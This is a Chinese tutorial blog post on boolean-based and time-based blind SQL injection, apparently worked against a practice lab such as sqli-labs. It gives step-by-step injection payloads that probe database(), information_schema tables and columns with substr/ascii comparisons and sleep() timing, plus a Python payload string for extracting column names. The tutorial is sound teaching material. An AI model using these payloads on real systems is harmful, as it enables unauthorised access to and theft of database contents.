一、boolen盲注和时间盲注

一、boolen盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

二、boolen盲注过程

1、输入id,是否有注入点

输入?id=1后,显示如图

2、输入?id=1'后,发现没有回显

3、判断字段数,?id=1' order by 3--+, 显示You are in...

4、联合查询, ?id=1' union select 1,2,3--+

通过以上尝试,猜测有可能是boolen盲注

5、猜测数据库的长度

最终猜长度为8

6、获取数据库名称

通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。

尝试截取,

输入:?id=1' and substr(database(),1,1)='s'--+

发现截取到一个字符为's'

选择用python破解字段为's'

7、获取表名

测试表名长度输入:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

获取表名

选择python破解

8、getcolumn获取字段名

使用python脚本获取字段名(脚本中payload内容要修改)

9、获取具体数据

依旧选用python脚本破解

二、时间盲注

1、判断注入点

输入:?id=1' and if(ascii(substr(database(),1,1))>110,sleep(3),0)--+

2、猜测数据库长度

输入:?id=1' and if(length(database())=8,sleep(3),0)--+

如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。

3、获取数据库名称

首先测试输入:?id=1'and if(ascii(substr((select database()),1,1))='s',sleep(3),0)--+

如果数据库名称第一个字符是's',则页面沉睡3秒,否则没有反应。

使用python脚本来获取(时间会比较慢)

4、获取表名

首先测试输入:?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+

此页面没有沉睡,说明表名首字母ascii值不为97

用python脚本获取表名

5、获取字段名

使用python脚本讲payload内容修改一下

"1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)

6、获取数据

时间盲注的优先级不高,当字符数字注入、联合注入、报错注入、boolen盲注都不能使用时,可以考虑时间盲注

从python脚本可发现效率低。

相关推荐
ClickHouseDB6 小时前
ClickHouse Cloud 与 Snowflake 实时性价比对比:CostBench 测试中的 412 倍差距来
运维·数据库·系统架构
m0_639906946 小时前
Redis入门|五种数据结构、使用场景、持久化RDB&AOF
数据结构·数据库·redis
时间售卖铺7 小时前
触发器与函数实战:MySQL高效编程秘诀
运维·数据库·mysql·云原生
qetfw7 小时前
UOS MariaDB 数据库:安装、最小权限与备份验证
linux·数据库·mariadb·uos
数智园区合作社8 小时前
问数平台怎么把同一个指标锁成一个数
大数据·数据库·人工智能·ai
lbb 小魔仙8 小时前
Windows搭建PaddleOCR+飞书Webhook自动打卡通知机器人:识别、推送与远程触发完整教程
数据库·人工智能·prometheus·时序数据库
captain3769 小时前
MyBatis操作数据库(入门2)
java·数据库·spring boot·后端·spring·mybatis
心中有你021410 小时前
Java实现Dijkstra最短路径算法(邻接表 + 优先队列)
java·数据库·算法
龙亘川10 小时前
综合素质评价业务建模:从过程性评价到成长档案全链路闭环
数据库·智慧城市·数据可视化
数据库小组10 小时前
NineData 实战教程:MySQL 5.5 数据迁移同步到 MySQL 8.0(跨版本升级)
数据库·mysql·mysql优化·数据库开发·数据库迁移·版本升级·数据复制